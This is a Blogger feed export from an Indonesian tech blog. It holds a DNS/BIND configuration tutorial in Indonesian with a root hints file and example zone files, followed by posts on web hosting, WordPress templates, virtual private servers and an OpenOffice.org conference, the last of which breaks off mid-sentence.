3600000  IN  NS    A.ROOT-SERVERS.NET.&lt;br /&gt;A.ROOT-SERVERS.NET.      3600000      A     198.41.0.4&lt;br /&gt;;&lt;br /&gt;; formerly NS1.ISI.EDU&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    B.ROOT-SERVERS.NET.&lt;br /&gt;B.ROOT-SERVERS.NET.      3600000      A     128.9.0.107&lt;br /&gt;;&lt;br /&gt;; formerly C.PSI.NET&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    C.ROOT-SERVERS.NET.&lt;br /&gt;C.ROOT-SERVERS.NET.      3600000      A     192.33.4.12&lt;br /&gt;;&lt;br /&gt;; formerly TERP.UMD.EDU&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    D.ROOT-SERVERS.NET.&lt;br /&gt;D.ROOT-SERVERS.NET.      3600000      A     128.8.10.90&lt;br /&gt;;&lt;br /&gt;; formerly NS.NASA.GOV&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    E.ROOT-SERVERS.NET.&lt;br /&gt;E.ROOT-SERVERS.NET.      3600000      A     192.203.230.10&lt;br /&gt;;&lt;br /&gt;; formerly NS.ISC.ORG&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    F.ROOT-SERVERS.NET.&lt;br /&gt;F.ROOT-SERVERS.NET.      3600000      A     192.5.5.241&lt;br /&gt;;&lt;br /&gt;; formerly NS.NIC.DDN.MIL&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    G.ROOT-SERVERS.NET.&lt;br /&gt;G.ROOT-SERVERS.NET.      3600000      A     192.112.36.4&lt;br /&gt;;&lt;br /&gt;; formerly AOS.ARL.ARMY.MIL&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    H.ROOT-SERVERS.NET.&lt;br /&gt;H.ROOT-SERVERS.NET.      3600000      A     128.63.2.53&lt;br /&gt;;&lt;br /&gt;; formerly NIC.NORDU.NET&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    I.ROOT-SERVERS.NET.&lt;br /&gt;I.ROOT-SERVERS.NET.      3600000      A     192.36.148.17&lt;br /&gt;;&lt;br /&gt;; temporarily housed at NSI (InterNIC)&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    J.ROOT-SERVERS.NET.&lt;br /&gt;J.ROOT-SERVERS.NET.      3600000      A     198.41.0.10&lt;br /&gt;;&lt;br /&gt;; housed in LINX, operated by RIPE NCC&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    K.ROOT-SERVERS.NET.&lt;br /&gt;K.ROOT-SERVERS.NET.      3600000      A     193.0.14.129&lt;br /&gt;;&lt;br /&gt;; temporarily housed at ISI (IANA)&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    L.ROOT-SERVERS.NET.&lt;br /&gt;L.ROOT-SERVERS.NET.      3600000      A     198.32.64.12&lt;br /&gt;;&lt;br /&gt;; housed in Japan, operated by WIDE&lt;br /&gt;;&lt;br /&gt;.                        3600000      NS    M.ROOT-SERVERS.NET.&lt;br /&gt;M.ROOT-SERVERS.NET.      3600000      A     202.12.27.33&lt;br /&gt;; End of File &lt;br /&gt;&lt;br /&gt; Sedangkan SNS membaca data copy dari PNS melalui sebuah mekanisme transfer data melalui protokol DNS. Data yang dicopy disimpan dalam bentuk file zona yang diletakkan di direktori /var/named pada mesin SNS.&lt;br /&gt;&lt;br /&gt;Format /etc/named.conf dapat dijelaskan sebagai berikut :&lt;br /&gt;Terdiri dari 2 bracket dasar yaitu :&lt;br /&gt;Blok Options&lt;br /&gt;Berisi kompulan opsi-opsi global untuk bind 8.x.x, gunakan man named.conf untuk mendapatkan informasi lebih detil mengenai opsi-opsi yang tersedia.&lt;br /&gt;Blok Zone&lt;br /&gt;Berisi tag-tag yang digunakan untuk menentukan tipe server untuk 1 domain atau subdomain tertentu dan file zona yang berisi konfigurasi 1 domain atau subdomain tertentu. &lt;br /&gt;Bila kita bertujuan membuat zona file untuk pemetaan NAME-TO-IP gunakan nama domain sebagai nama zona.&lt;br /&gt;Bila kita bertujuan membuat zona file untuk pemetaan IP-TO-NAME gunakan nama domain dengan format sebagai berikut :&lt;br /&gt;Contoh : &lt;br /&gt;IP-TO-NAME untuk network 192.168.0, nama zona file ditulis 0.168.192.in-addr.arpa&lt;br /&gt;IP-TO-NAME untuk network 202.150.128, nama zona file ditulis 128.150.202..in-addr.arpa&lt;br /&gt;&lt;br /&gt;Format file zona dapat dijelaskan sebagai berikut :&lt;br /&gt;Terdiri dari kumpulan record yang berisikan keterangan yang detil tentang sebuah domain atau subdomain. Record-record tersebut antara lain :&lt;br /&gt;SOA&lt;br /&gt;Start Of Authority mengawali file zona, berisi data-data waktu sebuah domain atau subdomain. Lebih jelasnya seperti berikut :&lt;br /&gt;@       IN      SOA     localhost. root.localhost.  (&lt;br /&gt;                                      1997022700 ; Serial&lt;br /&gt;                                      28800      ; Refresh&lt;br /&gt;                                      14400      ; Retry&lt;br /&gt;                                      3600000   ; Expire&lt;br /&gt;                                      86400 )    ; Minimum  &lt;br /&gt;Keterangan :&lt;br /&gt;@  Merupakan shortcut yang menyatakan nama domain yang   bersesuaian dengan zona ini&lt;br /&gt;IN  Merupakan kata kunci protokol INTERNET&lt;br /&gt;SOA  Menyatakan nama record SOA&lt;br /&gt;localhost. Name Server yang menangani domain ini&lt;br /&gt;root.localhost Menyatakan kontak administratif berupa email    administrator, dalam hal ini root@localhost&lt;br /&gt;( dan )  Bila ditulis lebih dari 1 baris&lt;br /&gt;Serial  Nomor urut yang dibangkitkan setiap kali ada perubahan   konfigurasi&lt;br /&gt;Refresh Interval yang digunakan SNS untuk mengontak PNS&lt;br /&gt;Retry  Waktu tunggu yang digunakan oleh SNS bila PNS down   atau crash&lt;br /&gt;Expire  Masa berlaku zona untuk SNS tanpa harus melakukan   refresh pada PNS jika PNS down&lt;br /&gt;Minimum Nilai default untuk masa berlaku data yang disimpan dalam   cache&lt;br /&gt;&lt;br /&gt;NS&lt;br /&gt;Menyatakan Name Server yang berlaku.&lt;br /&gt;@  IN NS localhost.&lt;br /&gt;&lt;br /&gt;A&lt;br /&gt;Menyatakan Address  Internet atau nomor IP&lt;br /&gt;@  IN A 192.168.0.1&lt;br /&gt;digital IN A 192.168.0.4&lt;br /&gt;&lt;br /&gt;CNAME&lt;br /&gt;Menyatakan nama Alias (Canonical Name)&lt;br /&gt;mail  IN CNAME digital.&lt;br /&gt;Berarti : mail adalah nama alias dari digital&lt;br /&gt;&lt;br /&gt;PTR&lt;br /&gt;Menyatakan pointer, yaitu reversed-address&lt;br /&gt;digital   IN A 192.168.0.4&lt;br /&gt;4.0.168.192.in-addr.arpa. IN PTR digital.&lt;br /&gt;Berarti : IP 192.168.0.4 dipetakan ke nama domain atau subdomain digital.&lt;br /&gt;&lt;br /&gt;MX&lt;br /&gt;Menyatakan Mail Exchanger, digunakan untuk menunjuk mail server yang menangani email domain atau subdomain ini&lt;br /&gt;digital IN MX 0 super.adhyaksa.net.&lt;br /&gt;IN MX 10 drutz.adhyaksa.net.&lt;br /&gt;Berarti : email untuk digital.adhyaksa.net akan diterima oleh mail server dengan prioritas lebih tinggi (super.adhyaksa.net) dimana angka yang lebih kecil merupakan prioritas yang lebih tinggi. Angka yang dimaksud adalah kolom ke-3 pada MX. Mail server pada prioritas selanjutnya akan dihubungi apabila mail server sebelumnya down atau crash.&lt;br /&gt;&lt;br /&gt;HINFO&lt;br /&gt;Menyatakan Hardware Information&lt;br /&gt;digital IN HINFO "Intel PIII 550 - Linux Redhat 6.2"&lt;br /&gt;&lt;br /&gt;TXT&lt;br /&gt;Menyatakan infomasi umum&lt;br /&gt;digital IN TXT "Server location : Sukapura - Bandung"&lt;br /&gt;&lt;br /&gt;Contoh kasus :&lt;br /&gt;"Konfigurasikan sebuah host menjadi PNS dengan nama domain adhyaksa.net mempunyai range IP 192.168.0.1 - 192.168.0.15."&lt;br /&gt; Penentuan IP untuk host-host  tertentu, misalnya :&lt;br /&gt; ns1.adhyaksa.net -&gt; IP 192.168.0.1&lt;br /&gt; ns2.adhyaksa.net -&gt; IP 192.168.0.2&lt;br /&gt; www.adhyaksa.net -&gt; IP 192.168.0.3&lt;br /&gt; mail.adhyaksa.net -&gt; IP 192.168.0.3&lt;br /&gt; ftp.adhyaksa.net -&gt; IP 192.168.0.3&lt;br /&gt; mp3.adhyaksa.net -&gt; IP 192.168.0.9&lt;br /&gt; vhost.adhyaksa.net -&gt; IP 192.168.0.13&lt;br /&gt;Untuk IP yang lainnya disimpan untuk keperluan mendatang.&lt;br /&gt;&lt;br /&gt;1.Membuat /etc/named.conf&lt;br /&gt;options {&lt;br /&gt;        directory "/var/named";&lt;br /&gt; };&lt;br /&gt;zone "." {&lt;br /&gt;        type hint;&lt;br /&gt;        file "named.ca";&lt;br /&gt;};&lt;br /&gt;zone "adhyaksa.net" {&lt;br /&gt;        type master;&lt;br /&gt;        file "db.adhyaksa.net";&lt;br /&gt;};            &lt;br /&gt;zone "0.168.192.in-addr.arpa" {&lt;br /&gt; type master;&lt;br /&gt; file "db.192.168.0";&lt;br /&gt;};                       &lt;br /&gt;&lt;br /&gt;Membuat file zona untuk domain adhyaksa.net diberi nama db.adhyaksa.net&lt;br /&gt;@        IN      SOA     ns1.adhyaksa.net. admin.adhyaksa.net.  (&lt;br /&gt;                        200022700 ; Serial&lt;br /&gt;                        28800      ; Refresh&lt;br /&gt;                        14400      ; Retry&lt;br /&gt;                        3600000    ; Expire&lt;br /&gt;                        86400 )    ; Minimum&lt;br /&gt;@        IN      NS      ns1.adhyaksa.net.&lt;br /&gt;@       IN      NS      ns2.adhyaksa.net.&lt;br /&gt;         IN      MX      10      mail.adhyaksa.net.&lt;br /&gt;ns1 IN      A       192.168.0.1&lt;br /&gt;ns2      IN      A       192.168.0.2&lt;br /&gt;www     IN      A       192.168.0.3&lt;br /&gt;mail     IN      A       192.168.0.3&lt;br /&gt;mp3      IN      A       192.168.0.9&lt;br /&gt;vhost    IN      A       192.168.0.13&lt;br /&gt;ftp      IN      CNAME   192.168.0.3     &lt;br /&gt;&lt;br /&gt;Membuat file zona reverse-lookup untuk network 192.168.0 diberi nama db.192.168.0&lt;br /&gt;@ IN      SOA     ns1.adhyaksa.net. root.localhost.  (&lt;br /&gt;                        200022700 ; Serial&lt;br /&gt;                        28800      ; Refresh&lt;br /&gt;                        14400      ; Retry&lt;br /&gt;                        3600000    ; Expire&lt;br /&gt;                        86400 )    ; Minimum&lt;br /&gt;         IN      NS      ns1.adhyaksa.net.&lt;br /&gt;         IN      NS      ns2.adhyaksa.net.&lt;br /&gt;1        IN      PTR     ns1.adhyaksa.net.&lt;br /&gt;2        IN      PTR     ns2.adhyaksa.net.&lt;br /&gt;13       IN      PTR     vhost.adhyaksa.net.&lt;br /&gt;&lt;br /&gt;Tes hasil konfigurasi&lt;br /&gt;1.Aktifkan bind dengan perintah berikut :&lt;br /&gt;[root@digital /root]# /etc/rc.d/init.d/named start               &lt;br /&gt;2.Lakukan pemeriksaan pada /var/log/messages&lt;br /&gt;[root@digital /root]# cat /var/log/messages &lt;br /&gt;3.Cek dengan tool nslookup dan dig&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-1829891094672605115?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/1829891094672605115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=1829891094672605115&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/1829891094672605115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/1829891094672605115'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/07/dns-domain-name-service.html' title='DNS (Domain Name Service)'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-116018406209801161</id><published>2006-10-07T08:20:00.000+07:00</published><updated>2006-10-07T08:21:03.016+07:00</updated><title type='text'>Web Hosting Basics</title><content type='html'>Web Hosting Basics&lt;br /&gt;&lt;br /&gt;When you decide to take your business to the internet, you need to know some basics. First, you select a name for your site that is catchy and descriptive of your service or product line. Avoid picking a name that does not include a description of what someone would find at the site. One or two word names work well. When you have picked a name that you like, you need to register this as your internet domain name. There are several options in Denver for this if you search online. Remember that you do not have to host your website at the same company where you register your domain name, so look for the best deal you can find.&lt;br /&gt;&lt;br /&gt;Denver web hosting can be complex for someone who is just starting out. In fact, most people don’t really understand what hosting is or what a hosting company should offer you. These services are places where you can store your website, basically. They range from free services to hosting that you run yourself on your own server. So the first thing you need to do is figure out how involved you want to be. There are several different types of hosting:&lt;br /&gt;&lt;br /&gt;• Internet Service Providers. Several ISPs offer basic web pages for free to their email customers. For example, Yahoo! users can set up a website for free when they join Yahoo!. But these sites are really good only for personal sites with a few pages because alongside your content, an ISP will run advertisements. These sites also do not come with any extra features or very much storage space.&lt;br /&gt;&lt;br /&gt;• Free Web Hosting. For most businesses in Denver, web hosting needs to be more sophisticated than most free services can provide. If you want to display your pictures on the web or start a blog online, a free service might be good for you. But for business needs, they simply do not offer the space, the features, or the reliability that you need.&lt;br /&gt;&lt;br /&gt;• Paid Hosting. This is the most common type of hosting used for small businesses and more complex personal websites. You pay a monthly or yearly fee to a web hosting company in return for space on their site and certain services. The services and features vary widely from company to company. And you can pay anywhere from two dollars to two hundred dollars per month, depending on the company, how much space you need, and what extra features you employ. You can get CGI services, ASP, ecommerce, SSL, database support, extra space and bandwidth, and other features for maximizing your site for the customer. Paid web hosting, in Denver or elsewhere, is the only way to go for a business site, no matter what its size.&lt;br /&gt;&lt;br /&gt;• Domain Hosting. This is a great way for small businesses to host their pages at any location, rather than at the hosting company’s site. You can use an ISP, a free hosting service, or any other viable location. Basically, you buy your domain and then the provider forwards all the requests to the web location. The biggest benefit of this type of hosting, besides the savings you may see, is the fact that you can brand your URL.&lt;br /&gt;&lt;br /&gt;• Co-location. If you want to run your own web server and be the owner of your machine, but don’t have the dedicated IT department to maintain it, you can use co-location. This service provides a server holding room where you can store your server, even rent one if you want, and then keep control over your web server and architecture.&lt;br /&gt;&lt;br /&gt;• Direct Internet Access. To get the most control over your server, you need to host your site yourself. Obviously, you need some experts on staff to maintain it, but for companies with large data centers this is the only way to go.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-116018406209801161?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/116018406209801161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=116018406209801161&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/116018406209801161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/116018406209801161'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/10/web-hosting-basics.html' title='Web Hosting Basics'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-116018399120225618</id><published>2006-10-07T08:19:00.000+07:00</published><updated>2006-10-07T08:19:51.636+07:00</updated><title type='text'>Wordpress Templates</title><content type='html'>The Basics Of Customizing Wordpress Templates&lt;br /&gt;&lt;br /&gt;Do you want to change the look of your WordPress site or maybe to put something like a banner or adsense code on your blog? In order to do this you need to know about three important things: template files, functions and CSS.&lt;br /&gt;&lt;br /&gt;- Template Files&lt;br /&gt;These files are stored in a directory (wp-content/themes/template-name/). So if you are using "default theme", you need to access the files that are stored in "wp-content/themes/default/" directory.&lt;br /&gt;&lt;br /&gt;There are several common WordPress template files you should know:&lt;br /&gt;&lt;br /&gt;1.header.php&lt;br /&gt;This file is responsible for the appearance of the top section of your blog. If you want to change the header image, you have to access this file. Not only that, this file is also the place to add Meta Tags.&lt;br /&gt;&lt;br /&gt;2.footer.php&lt;br /&gt;Similar to the header.php, this file is loaded everytime any page or post of your blog is accessed. It is used to store the HTML tags and the code for the bottom section of your blog.&lt;br /&gt;&lt;br /&gt;3.sidebar.php&lt;br /&gt;A sidebar is a section which is usually used to display site navigation. Depending on the theme you are using, a sidebar usually provides links to archives, pages and latest posts.&lt;br /&gt;&lt;br /&gt;4.index.php&lt;br /&gt;In fact this file is the main template file. When someone visits the homepage of your blog site, this file will be loaded. Then he/she will see the contents (not the source code) of this file. If you want to make the appearance of your blog become similar to a common website, where there is a static description on the homepage, you may try to put the static content in this file.&lt;br /&gt;&lt;br /&gt;Besides those files, a theme usually has some other template files with different purposes. For example, the archives.php is a file used to display posts you made in the past. Then the search.php is used to generate search results.&lt;br /&gt;&lt;br /&gt;- Functions&lt;br /&gt;A function is a blog of code to accomplish a specific task. In order to modify template files, you don't need to master any programming language. Although having a little knowledge in PHP, you can work faster. In WordPress, the name of a function is usually related to its purpose. For instance, "the_title()" is a function to display the title of a post and "the_content()" is used to display its content. Another example is "blog_info()" which is responsible for displaying the name or description of your blog, depending on the given argument (additional data).&lt;br /&gt;&lt;br /&gt;- CSS&lt;br /&gt;Style Sheet is a facility to manage the format and layout of a website efficiently. Without using it, changing small things such as the font type or the background color of all of your webpages is a daunting task where you have to do it page by page. But with the existence of style sheet, one change you make can affect the whole site. You should know that in WordPress a different theme may have a different css file. You also need to know that some styles may be defined in the header.php file. If you are using the "default theme", you have to access the header.php file in order to change the background color or the header image of your blog, not the css file.&lt;br /&gt;&lt;br /&gt;Finally, before you customize the templates, it is highly recommended to backup any files you intend to change. If something doesn't work properly, you can always go back to the original settings.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-116018399120225618?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/116018399120225618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=116018399120225618&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/116018399120225618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/116018399120225618'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/10/wordpress-templates.html' title='Wordpress Templates'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-116018393581584426</id><published>2006-10-07T08:16:00.000+07:00</published><updated>2006-10-07T08:18:55.973+07:00</updated><title type='text'>Virtual Dedicated Server</title><content type='html'>Advantages Of Cheap Virtual Dedicated Server&lt;br /&gt;Author: Ricky Lim&lt;br /&gt;Most webmasters started off using single domain hosting or shared web-hosting services. Shared web hosting means you share a server with dozens of other webmasters. Typically, shared web hosting plans allows you to have more than 1 domain per shared web hosting account with a predetermined hard disk space and bandwidth. The cost is usually pretty low. You only need to pay around 3-10 dollars per month.&lt;br /&gt;&lt;br /&gt;Although it is cheap to host your website on single or shared web hosting accounts, there are many disadvantages you should be aware of.&lt;br /&gt;&lt;br /&gt;By the nature of shared hosting, the server resources are shared among many websites, therefore it is very easy for resources such as CPU and memory to be used up quickly. Certain types of websites such as proxy sites are known to generate high CPU utilization, therefore if your website is on the same server, be advised there is a possibility of your website going down. Spam complaints against other sites on the same server will also affect your website. Any form of denial of service attack against someone else hosting can impact on the uptime of your website.&lt;br /&gt;&lt;br /&gt;Also some web hosting companies over packed too many hosting accounts on one server causing the server to be slow and sluggish. The end result is your website is up but takes too long to load and display properly.&lt;br /&gt;&lt;br /&gt;How can you do to avoid this issue?&lt;br /&gt;&lt;br /&gt;Years ago, the only solution is to get a dedicated server. However, nowadays you can get a cheap virtual dedicated server for less than 30 dollars a month.&lt;br /&gt;&lt;br /&gt;A cheap dedicated virtual server or VPS allows you to run your sites as if you own the server virtually. In reality, the dedicated server is spilt into multiple virtual dedicated servers. The main advantage is that each virtual dedicated server has control over it’s own resources such as CPU, RAM etc. So each virtual dedicated server is totally isolated from other virtual servers and will not be affected if other webmasters bring their servers down.&lt;br /&gt;&lt;br /&gt;Some web-hosting providers also have unmetered bandwidth, which is a plus.&lt;br /&gt;&lt;br /&gt;So Are There Any Disadvantages in having a virtual dedicated server?&lt;br /&gt;&lt;br /&gt;There are not many major disadvantages except for cost. It will cost a little bit more on hosting. The other disadvantage is you need to be technically proficient in administering the server. However, some web-hosting providers also can provide managed virtual dedicated server. It means they will help you to manage the server. Examples are routine server maintenance, security patches etc.&lt;br /&gt;&lt;br /&gt;With increased speed and reliability from using cheap virtual dedicated server, you will rest easy that your websites are always up while you are sleeping.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-116018393581584426?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/116018393581584426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=116018393581584426&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/116018393581584426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/116018393581584426'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/10/virtual-dedicated-server.html' title='Virtual Dedicated Server'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115898451040082977</id><published>2006-09-23T11:06:00.000+07:00</published><updated>2006-09-23T11:08:30.490+07:00</updated><title type='text'>what's next for OpenOffice.org</title><content type='html'>The OpenOffice.org conference is now over. We had some fantastic three days at the INSA of Lyon, and I would like to thank everybody who managed to drop by and visit us. People came from all over the place; Korea, Brazil, India, Bengladesh, Germany, Norway, U.S.A...&lt;br /&gt;&lt;br /&gt;This conference could not have been possible without the Francophone community, of which I am a member; so I would like to thank everybody who helped us before and during these three days!&lt;br /&gt;&lt;br /&gt;On Monday evening, the 11th of September, we organized the Native-Language Party on a ship that cruised the Rhone and Saone Rivers along the city of Lyon. Besides the actual venue that was outwardly marvellous and very classy, I would like to say, just like I did to one of my American guests there, that even though I didn't mention the 9/11 in my welcoming speech on the ship, I had the feeling that the actual presence of so many people on board, coming from the entire world was in a sense, a beautiful answer to the international terrorism. For Open Source does also mean peace. OpenOffice.org and the Native-Lang Confederation are living evidences of this. I am honoured to lead such a confederation of communities who are building something useful together, and I can experience this on a daily basis.&lt;br /&gt;&lt;br /&gt;Now I'm sure you'll be interested by the pics and the transcripts of the conferences! So here you will find the videos and some pics of the conferences. Not all of them have been uploaded yet, so make sure to check back there again for several days. Kudos to the Kiberpipa team from Slovenia who accomplished all this while being asked at the last moment!&lt;br /&gt;&lt;br /&gt;Here you will find lots of pictures taken by Jerome D. from Ars Aperta. Here, and also here and there you will find shots from Florian E., Jesus C. and Simon B. from several Native-Lang projects.&lt;br /&gt;&lt;br /&gt;The OpenOffice.org Conference is as always the time for major announcements concering the software itself. I recommend that the interested readers take a look at the still being uploaded slides of every conference for more details.&lt;br /&gt;&lt;br /&gt;However, I shall disclose the major points that were discussed in Lyon. First, OpenOffice.org shall get Firefox-like extensions capabilities by the 2.0.4. This release should be ready somewhere between the coming week and the end of the month. What this means is that besides the fact that OpenOffice.org could include extensions before, now the way to develop, include, select and manage them will be made easy. Aside the traditionnal .zip and unopkg extensions packages, a new and definitive extension format, .oxt, shall be used across the extensions that can be developed using a breadth of languages ranging from StarBasic to Java. New wizards and configuration tools shall be added for the benefit of our endusers.&lt;br /&gt;&lt;br /&gt;Second, and I think that although we have no clear roadmap for this yet (besides, our version naming scheme is going to change once again ), OpenOffice.org and 